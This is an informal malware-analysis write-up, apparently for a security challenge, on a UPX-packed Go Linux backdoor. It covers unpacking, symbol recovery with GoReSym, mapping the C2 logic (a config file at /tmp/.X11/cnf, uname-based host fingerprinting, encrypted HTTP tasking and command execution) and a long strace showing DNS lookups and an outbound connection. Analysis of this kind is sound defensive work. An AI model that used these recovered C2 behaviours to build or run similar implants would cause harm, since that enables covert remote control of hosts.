   0x4c2ce8    cmp    rsi, rdx                        0x200 - 0x5     EFLAGS => 0x212 [ cf pf AF zf sf IF df of ac ]
   0x4c2ceb  ✘ jb     0x4c2dcf                    <0x4c2dcf>

   0x4c2cf1    test   rbx, rbx                        0x716cc0 & 0x716cc0     EFLAGS => 0x206 [ cf PF a

perhaps some string comparison

seems to reference a list of short strings:

RAX  0
 RBX  0x716cc0 —▸ 0x667cc0 ◂— 0x10
 RCX  0xc000092040 —▸ 0x69f11a ◂— 0x7246626546464f45 ('EOFFebFr')
*RDX  5
 RDI  0xa
 RSI  0x36
 R8   2

strings mem.bin | grep -i EOFFebFr
125200204206304400404443500625://::1???ACKAprAugDSADecEOFFebFriGETGetHanJanJulJunLaoMD4MD5MarMayMonMroNaNNkoNovOctPC=RSASETSatSepSunTTLThuTueURIUTCVaiViaWed

0x63b2d0    mov    qword ptr [rsp + 0x60], rax     [0xc0000bbf18] <= 0
0x63b2d5    mov    qword ptr [rsp + 0x78], rbx     [0xc0000bbf30] <= 0x716ce0 —▸ 0x667cc0 ◂— 0x10
0x63b2da    mov    qword ptr [rsp + 0x68], rcx     [0xc0000bbf20] <= 0xc0000ae100 —▸ 0xc0000ce0c0 ◂— 'failed to unmarshal json: unexpected end of JSON i...'

Recovery tool

Remember when we said earlier that the reason UPX wouldn't unpack, because the UPX internals had been modified? this is a common technique for anti-analysis, and if you know what was done, the technique can be undone. I don't know exactly how to do it, but I found a tool that accomplishes this: https://github.com/NozomiNetworks/upx-recovery-tool/

If we use it we are able to successfully recover the original unpacked executable, as shown by the headers and the fact it runs with the error message:

$ python3 upxrecoverytool.py -i ../buu -o test


The current binary doesn't have a section header
[i] File is UPX
[i] Checking l_info structure...
[!] l_info.l_magic mismatch: "b'WTRT'" found instead
  [i] UPX! magic bytes patched @ 0xec
  [i] UPX! magic bytes patched @ 0x1ebe33
  [i] UPX! magic bytes patched @ 0x1ec316
  [i] UPX! magic bytes patched @ 0x1ec320
[i] Checking p_info structure...
  [i] No p_info fixes required
➜  upx-recovery-tool git:(main) ✗ file test        
test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
➜  upx-recovery-tool git:(main) ✗ ../upx-5.0.2-amd64_linux/upx -d test
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2025
UPX 5.0.2       Markus Oberhumer, Laszlo Molnar & John Reiser   Jul 20th 2025

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
[WARNING] bad b_info at 0x1ec2cc

[WARNING] ... recovery at 0x1ec2c8

   4767744 <-   2016068   42.29%   linux/amd64   test

Unpacked 1 file.
➜  upx-recovery-tool git:(main) ✗ ls
LICENSE  README.md  requirements.txt  rules  test  tests  upxrecoverytool.py
➜  upx-recovery-tool git:(main) ✗ file test
test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, stripped
➜  upx-recovery-tool git:(main) ✗ readelf -SeW test   
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x465380
  Start of program headers:          64 (bytes into file)
  Start of section headers:          568 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         26
  Section header string table index: 9

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        0000000000401000 001000 23a4bb 00  AX  0   0 32
  [ 2] .plt              PROGBITS        000000000063b4c0 23b4c0 000220 10  AX  0   0 16
  [ 3] .rodata           PROGBITS        000000000063c000 23c000 0e1ad1 00   A  0   0 32
  [ 4] .rela             RELA            000000000071dad8 31dad8 000018 18   A 11   0  8
  [ 5] .rela.plt         RELA            000000000071daf0 31daf0 000318 18   A 11   2  8
  [ 6] .gnu.version      VERSYM          000000000071de20 31de20 00004c 02   A 11   0  2
  [ 7] .gnu.version_r    VERNEED         000000000071de80 31de80 000070 00   A 10   1  8
  [ 8] .hash             HASH            000000000071df00 31df00 0000bc 04   A 11   0  8
  [ 9] .shstrtab         STRTAB          0000000000000000 31dfc0 000100 00      0   0  1
  [10] .dynstr           STRTAB          000000000071e0c0 31e0c0 000230 00   A  0   0  1
  [11] .dynsym           DYNSYM          000000000071e300 31e300 000390 18   A 10   1  8
  [12] .typelink         PROGBITS        000000000071e6a0 31e6a0 0013e4 00   A  0   0 32
  [13] .itablink         PROGBITS        000000000071faa0 31faa0 000818 00   A  0   0 32
  [14] .gosymtab         PROGBITS        00000000007202b8 3202b8 000000 00   A  0   0  1
  [15] .gopclntab        PROGBITS        00000000007202c0 3202c0 12f2b0 00   A  0   0 32
  [16] .go.buildinfo     PROGBITS        0000000000850000 450000 000030 00  WA  0   0 16
  [17] .dynamic          DYNAMIC         0000000000850040 450040 000120 10  WA 10   0  8
  [18] .got.plt          PROGBITS        0000000000850160 450160 000120 08  WA  0   0  8
  [19] .got              PROGBITS        0000000000850280 450280 000008 08  WA  0   0  8
  [20] .noptrdata        PROGBITS        00000000008502a0 4502a0 031178 00  WA  0   0 32
  [21] .data             PROGBITS        0000000000881420 481420 00ab30 00  WA  0   0 32
  [22] .bss              NOBITS          000000000088bf60 48bf60 031b40 00  WA  0   0 32
  [23] .noptrbss         NOBITS          00000000008bdaa0 4bdaa0 007dc0 00  WA  0   0 32
  [24] .tbss             NOBITS          0000000000000000 000000 000008 00 WAT  0   0  8
  [25] .interp           PROGBITS        0000000000400fe4 000fe4 00001c 00   A  0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000000400040 0x0000000000400040 0x0001f8 0x0001f8 R   0x1000
  INTERP         0x000fe4 0x0000000000400fe4 0x0000000000400fe4 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x23b6e0 0x23b6e0 R E 0x1000
  LOAD           0x23c000 0x000000000063c000 0x000000000063c000 0x213570 0x213570 R   0x1000
  LOAD           0x450000 0x0000000000850000 0x0000000000850000 0x03bf60 0x075860 RW  0x1000
  DYNAMIC        0x450040 0x0000000000850040 0x0000000000850040 0x000120 0x000120 RW  0x8
  TLS            0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000008 R   0x8
  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x8
  LOOS+0x5041580 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000     0x8

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .text .plt .interp 
   03     .rodata .rela .rela.plt .gnu.version .gnu.version_r .hash .dynstr .dynsym .typelink .itablink .gosymtab .gopclntab 
   04     .go.buildinfo .dynamic .got.plt .got .noptrdata .data .bss .noptrbss 
   05     .dynamic 
   06     .tbss 
   07     
   08     

➜  upx-recovery-tool git:(main) ✗ ./test                              
I don't belong here...
➜  upx-recovery-tool git:(main) ✗ 

I was hoping this would fix errors that were preventing our successful analysis earlier, but turns out still not really. When looking at the string "I don't belong here" we still see no cross references:

XREF IMG

except.. wait I've made a dumb mistake. I've found the string by searching for "don't", but any reference to the string would likely be pointing to the start of "I don't", 2 bytes back. Binja's just been a bit too helpful and picked out the exact part I asked for

GO static analysis with goresym

➜  GoReSym git:(master) ./GoReSym ../test
{
    "Version": "unknown",
    "BuildId": "",
    "Arch": "amd64",
    "OS": "",
    "TabMeta": {
        "VA": 7471808,
        "Version": "1.18",
        "Endianess": "LittleEndian",
        "CpuQuantum": 1,
        "CpuQuantumStr": "x86/x64/wasm",
        "PointerSize": 8
    },
    "ModuleMeta": {
        "VA": 8756512,
        "TextVA": 4198400,
        "Types": 6537216,
        "ETypes": 7461585,
        "Typelinks": {
            "Data": 7464608,
            "Len": 1273,
            "Capacity": 1273
        },
        "ITablinks": {
            "Data": 7469728,
            "Len": 259,
            "Capacity": 259
        },
        "LegacyTypes": {
            "Data": 0,
            "Len": 0,
            "Capacity": 0
        }
    },
    "Types": null,
    "Interfaces": null,
    "BuildInfo": {
        "GoVersion": "unknown",
        "Path": "",
        "Main": {
            "Path": "",
            "Version": "",
            "Sum": "",
            "Replace": null
        },
        "Deps": null,
        "Settings": null
    },
    "Files": null,
    "UserFunctions": [
        {
            "Start": 4200090,
            "End": 4200112,
            "PackageName": "x_cgo_munmap",
            "FullName": "x_cgo_munmap.cold"
        },
        {
            "Start": 6527648,
            "End": 6527872,
            "PackageName": "main",
            "FullName": "main.ZZzgf2nH"
        },
        {
            "Start": 6527872,
            "End": 6528320,
            "PackageName": "main",
            "FullName": "main.kYgXL_QA"
        },
        {
            "Start": 6528320,
            "End": 6528928,
            "PackageName": "main",
            "FullName": "main.yprG5We4"
        },
        {
            "Start": 6528928,
            "End": 6529696,
            "PackageName": "main",
            "FullName": "main.WG2BdUVb"
        },
        {
            "Start": 6529696,
            "End": 6531008,
            "PackageName": "main",
            "FullName": "main.qvHPoPlV"
        },
        {
            "Start": 6531008,
            "End": 6532352,
            "PackageName": "main",
            "FullName": "main.dT6K8IGR"
        },
        {
            "Start": 6532352,
            "End": 6532832,
            "PackageName": "main",
            "FullName": "main.LVEnGayC"
        },
        {
            "Start": 6532832,
            "End": 6533504,
            "PackageName": "main",
            "FullName": "main.MG2pKkLO"
        },
        {
            "Start": 6533504,
            "End": 6534331,
            "PackageName": "main",
            "FullName": "main.main"
        }
    ],
    "StdFunctions": null
}
➜  GoReSym git:(master) 

-User Functions-
UserFunc0.StartVA:   0x40169a
UserFunc0.EndVA:     0x4016b0
UserFunc0.Package:   x_cgo_munmap
UserFunc0.Name:      cold

UserFunc1.StartVA:   0x639aa0 DONE
UserFunc1.EndVA:     0x639b80
UserFunc1.Package:   main
UserFunc1.Name:      ZZzgf2nH

UserFunc2.StartVA:   0x639b80 DONE
UserFunc2.EndVA:     0x639d40
UserFunc2.Package:   main
UserFunc2.Name:      kYgXL_QA

UserFunc3.StartVA:   0x639d40 DONE
UserFunc3.EndVA:     0x639fa0 
UserFunc3.Package:   main
UserFunc3.Name:      yprG5We4

UserFunc4.StartVA:   0x639fa0
UserFunc4.EndVA:     0x63a2a0
UserFunc4.Package:   main
UserFunc4.Name:      WG2BdUVb

UserFunc5.StartVA:   0x63a2a0
UserFunc5.EndVA:     0x63a7c0
UserFunc5.Package:   main
UserFunc5.Name:      qvHPoPlV

UserFunc6.StartVA:   0x63a7c0
UserFunc6.EndVA:     0x63ad00
UserFunc6.Package:   main
UserFunc6.Name:      dT6K8IGR

UserFunc7.StartVA:   0x63ad00
UserFunc7.EndVA:     0x63aee0
UserFunc7.Package:   main
UserFunc7.Name:      LVEnGayC

UserFunc8.StartVA:   0x63aee0
UserFunc8.EndVA:     0x63b180
UserFunc8.Package:   main
UserFunc8.Name:      MG2pKkLO

UserFunc9.StartVA:   0x63b180
UserFunc9.EndVA:     0x63b4bb
UserFunc9.Package:   main
UserFunc9.Name:      main

This gives us the functions we're interested in.

Now I spent some time going thru each of these functions and working out what they did. I made some progress, but was quite frustrated by the fact the go functions were difficult to identify and had many layers. So I (/ LLM) wrote a ghidra script to take the JSON output of goresym, and rename all the standard library functions. So far I'd been using binja to try it out, but I only have the free version which lacks plugins & scripting, so I switched back to cutter/ghidra.

Maybe I should have gone with ghidra, as doing it with cutter involved a whole proper "plugin"

errrrr seems that without my shitty plugin, cutter has automatically worked out the binary is go, and already renamed the functions.

[0x0063a2a0]> Po ./upx-recovery-tool/test.rzdb 
ERROR: Alignment is only defined for '>0' and 'n^2'. Is = 0
ERROR: Alignment is only defined for '>0' and 'n^2'. Is = 0
^[[A^[[ADetailed project load info:
  project migrated from version 16 to 17.
  project migrated from version 17 to 18.
  project migrated from version 18 to 19.
  project migrated from version 19 to 20.
  project migrated from version 20 to 21.
[0x0063a2a0]> afl | head
0x00401000    1 89           sym.go.cgo_6cc2654a8ed3_C2func_getaddrinfo
0x00401060    1 12           sym.go.cgo_6cc2654a8ed3_Cfunc_freeaddrinfo
0x00401070    1 47           sym.go.cgo_6cc2654a8ed3_Cfunc_gai_strerror
0x004010a0    1 58           sym.go.cgo_6cc2654a8ed3_Cfunc_getaddrinfo
0x004010e0    3 224          sym.go.fatalf
0x004011c0    8 152          sym.go.cgo_wait_runtime_init_done
0x00401260    1 51           sym.go.x_cgo_notify_runtime_init_done
0x004012a0    1 49           sym.go.x_cgo_set_context_function
0x004012e0    1 52           sym.go.cgo_get_context_function
0x00401320    8 192  -> 185  sym.go.cgo_try_pthread_create

ok well that works. Right.

Now let's take a look at what's going on. We'll work as follows:

  • pick functions that are not part of the std lib, ie the ones that are part of the malware itself
  • for each function:
    • examine what other functions it calls in the callgraph
    • use this to work out what the function does, and name it appropriately

Here's an example: from cutter's callgraph we can see this function calls functions related to encryption, so we call it a_encrypt. We also see a function that sneds / receives HTTP data, and one that executes commands.

IMG

Having renamed our functions we look at main, and we can now clearly see the malware's logic:

  • read a file ("/tmp/.X11/cnf")
  • extract some data in json
  • send a C2 request (probably for tasking)
    • this function:
    • exec command
      • to get a hostname / uid to send C2
    • encode url
    • sprintf
    • HTTP GET
    • hex decode response
    • decrypt data
  • execute a command
  • C2 send data:
    • gen random number
    • exec command (?)
    • encode url
    • sprintf
    • decode hex
    • encrypt data
    • HTTP POST

So we've successfully recovered the main functionality of the binary. Now we want to answer the following questions:

  • what format does the config file need to be in
  • what domain does the C2 want to call out to?
  • where does it get the encryption / decryption keys
  • what task comes from the server.

haha fuck, the vm wiz originally provided the binary on had the config file all along xD

user@monthly-challenge:~$ ls -al /tmp/.X11/cnf
-rw-r--r-- 1 user user 144 Dec 20 13:24 /tmp/.X11/cnf
user@monthly-challenge:~$ cat !$
cat /tmp/.X11/cnf
��/9ٜv@��"V��n̝ G��n՗1[��b<Cŝ0��?V��&GЍ!��;Eь8R��0R��&_ُ'��'G��z\��5Dу7\��5]��x9ҍvVٗ
X��v    ًc��5P��5��7V��2��7R��bW��2��v9user@monthly-challenge:~$ 

Soooooo in fact we could have done dynamic analysis with the UPX packed bin and probably worked out what was going on just with syscall tracing...

let's strace with qemu again to get a correct trace with the config file in play:

docker run --rm -it \
  --network none \
  --read-only \
  --cap-drop ALL \
  --tmpfs /tmp \
  -v /path/to/binary:/app/binary:ro \
  -v /tmp/output:/output \
  qemu-sandbox \
  qemu-x86_64 -strace /app/binary 2>&1 | tee /output/trace.log

Here's the strace of what it does if you give it the valid config file

strace -f -e trace=file,network,process ./buu

execve("./buu", ["./buu"], 0x7fffdc28a758 /* 58 vars */) = 0
open("/proc/self/exe", O_RDONLY)        = 4
readlink("/proc/self/exe", "/home/hendo/wiz/buu", 4095) = 19
open("/lib64/ld-linux-x86-64.so.2", O_RDONLY) = 5
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
openat(AT_FDCWD, "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size", O_RDONLY) = 4
clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x71097afee990, parent_tid=0x71097afee990, exit_signal=0, stack=0x71097a7ee000, stack_size=0x7fff80, tls=0x71097afee6c0} => {parent_tid=[27172]}, 88) = 27172
strace: Process 27172 attached
[pid 27171] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7109725ff990, parent_tid=0x7109725ff990, exit_signal=0, stack=0x710971dff000, stack_size=0x7fff80, tls=0x7109725ff6c0}strace: Process 27173 attached
 => {parent_tid=[27173]}, 88) = 27173
[pid 27171] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x71097a7ed990, parent_tid=0x71097a7ed990, exit_signal=0, stack=0x710979fed000, stack_size=0x7fff80, tls=0x71097a7ed6c0}strace: Process 27174 attached
 => {parent_tid=[27174]}, 88) = 27174
[pid 27173] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x710979fec990, parent_tid=0x710979fec990, exit_signal=0, stack=0x7109797ec000, stack_size=0x7fff80, tls=0x710979fec6c0}strace: Process 27175 attached
 => {parent_tid=[27175]}, 88) = 27175
[pid 27171] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7109797eb990, parent_tid=0x7109797eb990, exit_signal=0, stack=0x710978feb000, stack_size=0x7fff80, tls=0x7109797eb6c0}strace: Process 27176 attached
 => {parent_tid=[27176]}, 88) = 27176
[pid 27171] openat(AT_FDCWD, "/tmp/.X11/cnf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] newfstatat(AT_FDCWD, "/usr/local/go/bin/uname", 0xc00007b898, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/home/hendo/go/bin/uname", 0xc00007b968, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/home/hendo/.cargo/bin/uname", 0xc00007ba38, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/usr/local/sbin/uname", 0xc00007bb08, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/usr/local/bin/uname", 0xc00007bbd8, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/usr/sbin/uname", 0xc00007bca8, 0) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/usr/bin/uname", {st_mode=S_IFREG|0755, st_size=35336, ...}, 0) = 0
[pid 27171] openat(AT_FDCWD, "/dev/null", O_RDONLY|O_CLOEXEC) = 9
[pid 27171] openat(AT_FDCWD, "/dev/null", O_WRONLY|O_CLOEXEC) = 10
[pid 27171] clone(child_stack=NULL, flags=CLONE_VM|CLONE_VFORK|SIGCHLDstrace: Process 27177 attached
 <unfinished ...>
[pid 27177] execve("/usr/bin/uname", ["uname", "-n"], 0xc0000001e0 /* 59 vars */ <unfinished ...>
[pid 27171] <... clone resumed>)        = 27177
[pid 27177] <... execve resumed>)       = 0
[pid 27177] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[pid 27177] openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
[pid 27177] openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
[pid 27177] openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] waitid(P_PID, 27177,  <unfinished ...>
[pid 27177] exit_group(0)               = ?
[pid 27177] +++ exited with 0 +++
[pid 27171] <... waitid resumed>{si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=27177, si_uid=1001, si_status=0, si_utime=0, si_stime=0}, WEXITED|WNOWAIT, NULL) = 0
[pid 27171] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=27177, si_uid=1001, si_status=0, si_utime=0, si_stime=0} ---
[pid 27171] wait4(27177, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, {ru_utime={tv_sec=0, tv_usec=752}, ru_stime={tv_sec=0, tv_usec=752}, ...}) = 27177
[pid 27171] openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] newfstatat(AT_FDCWD, "/etc/mdns.allow", 0xc0001601d8, 0) = -1 ENOENT (No such file or directory)
[pid 27171] socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
[pid 27171] connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
[pid 27171] socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
[pid 27171] connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
[pid 27171] newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=558, ...}, 0) = 0
[pid 27171] newfstatat(AT_FDCWD, "/", {st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0
[pid 27171] openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] newfstatat(AT_FDCWD, "/etc/resolv.conf", {st_mode=S_IFREG|0644, st_size=922, ...}, 0) = 0
[pid 27171] openat(AT_FDCWD, "/etc/host.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] socket(AF_INET, SOCK_DGRAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 4
[pid 27171] setsockopt(4, SOL_IP, IP_RECVERR, [1], 4) = 0
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.53")}, 16) = 0
[pid 27171] sendmmsg(4, [{msg_hdr={msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="\257L\1 \0\1\0\0\0\0\0\1 wehiy6oj3hpaud3yske"..., iov_len=89}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, msg_len=89}, {msg_hdr={msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="\206D\1 \0\1\0\0\0\0\0\1 wehiy6oj3hpaud3yske"..., iov_len=89}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, msg_len=89}], 2, MSG_NOSIGNAL) = 2
[pid 27171] recvfrom(4, "\257L\201\200\0\1\0\6\0\0\0\1 wehiy6oj3hpaud3yske"..., 2048, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.53")}, [28 => 16]) = 185
[pid 27171] recvfrom(4, "\206D\201\200\0\1\0\6\0\0\0\1 wehiy6oj3hpaud3yske"..., 65536, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("127.0.0.53")}, [28 => 16]) = 257
[pid 27171] openat(AT_FDCWD, "/etc/gai.conf", O_RDONLY|O_CLOEXEC) = 4
[pid 27171] socket(AF_NETLINK, SOCK_RAW|SOCK_CLOEXEC, NETLINK_ROUTE) = 4
[pid 27171] bind(4, {sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 12) = 0
[pid 27171] getsockname(4, {sa_family=AF_NETLINK, nl_pid=27171, nl_groups=00000000}, [12]) = 0
[pid 27171] sendto(4, [{nlmsg_len=20, nlmsg_type=RTM_GETADDR, nlmsg_flags=NLM_F_REQUEST|NLM_F_DUMP, nlmsg_seq=1766237696, nlmsg_pid=0}, {ifa_family=AF_UNSPEC, ...}], 20, 0, {sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 12) = 20
[pid 27171] recvmsg(4, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base=[[{nlmsg_len=76, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET, ifa_prefixlen=8, ifa_flags=IFA_F_PERMANENT, ifa_scope=RT_SCOPE_HOST, ifa_index=if_nametoindex("lo")}, [[{nla_len=8, nla_type=IFA_ADDRESS}, inet_addr("127.0.0.1")], [{nla_len=8, nla_type=IFA_LOCAL}, inet_addr("127.0.0.1")], [{nla_len=7, nla_type=IFA_LABEL}, "lo"], [{nla_len=8, nla_type=IFA_FLAGS}, IFA_F_PERMANENT], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=4294967295, ifa_valid=4294967295, cstamp=673, tstamp=673}]]], [{nlmsg_len=96, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET, ifa_prefixlen=24, ifa_flags=0, ifa_scope=RT_SCOPE_UNIVERSE, ifa_index=if_nametoindex("eth0")}, [[{nla_len=8, nla_type=IFA_ADDRESS}, inet_addr("10.0.2.15")], [{nla_len=8, nla_type=IFA_LOCAL}, inet_addr("10.0.2.15")], [{nla_len=8, nla_type=IFA_BROADCAST}, inet_addr("10.0.2.255")], [{nla_len=9, nla_type=IFA_LABEL}, "eth0"], [{nla_len=8, nla_type=IFA_FLAGS}, 0], [{nla_len=8, nla_type=IFA_RT_PRIORITY}, 100], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=79820, ifa_valid=79820, cstamp=813, tstamp=813}]]], [{nlmsg_len=88, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET, ifa_prefixlen=16, ifa_flags=IFA_F_PERMANENT, ifa_scope=RT_SCOPE_UNIVERSE, ifa_index=if_nametoindex("docker0")}, [[{nla_len=8, nla_type=IFA_ADDRESS}, inet_addr("172.17.0.1")], [{nla_len=8, nla_type=IFA_LOCAL}, inet_addr("172.17.0.1")], [{nla_len=8, nla_type=IFA_BROADCAST}, inet_addr("172.17.255.255")], [{nla_len=12, nla_type=IFA_LABEL}, "docker0"], [{nla_len=8, nla_type=IFA_FLAGS}, IFA_F_PERMANENT], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=4294967295, ifa_valid=4294967295, cstamp=1034, tstamp=1034}]]]], iov_len=4096}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 260
[pid 27171] recvmsg(4, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base=[[{nlmsg_len=72, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET6, ifa_prefixlen=128, ifa_flags=IFA_F_PERMANENT, ifa_scope=RT_SCOPE_HOST, ifa_index=if_nametoindex("lo")}, [[{nla_len=20, nla_type=IFA_ADDRESS}, inet_pton(AF_INET6, "::1")], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=4294967295, ifa_valid=4294967295, cstamp=673, tstamp=673}], [{nla_len=8, nla_type=IFA_FLAGS}, IFA_F_PERMANENT|IFA_F_NOPREFIXROUTE]]], [{nlmsg_len=80, nlmsg_type=RTM_NEWADDR, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, {ifa_family=AF_INET6, ifa_prefixlen=64, ifa_flags=IFA_F_PERMANENT, ifa_scope=RT_SCOPE_LINK, ifa_index=if_nametoindex("eth0")}, [[{nla_len=20, nla_type=IFA_ADDRESS}, inet_pton(AF_INET6, "fe80::a00:27ff:fef8:c2eb")], [{nla_len=20, nla_type=IFA_CACHEINFO}, {ifa_prefered=4294967295, ifa_valid=4294967295, cstamp=811, tstamp=811}], [{nla_len=8, nla_type=IFA_FLAGS}, IFA_F_PERMANENT], [{nla_len=5, nla_type=IFA_PROTO}, "\x03"]]]], iov_len=4096}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 152
[pid 27171] recvmsg(4, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base=[{nlmsg_len=20, nlmsg_type=NLMSG_DONE, nlmsg_flags=NLM_F_MULTI, nlmsg_seq=1766237696, nlmsg_pid=27171}, 0], iov_len=4096}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 20
[pid 27171] socket(AF_INET, SOCK_DGRAM|SOCK_CLOEXEC, IPPROTO_IP) = 4
[pid 27171] connect(4, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("3.16.20.159")}, 16) = 0
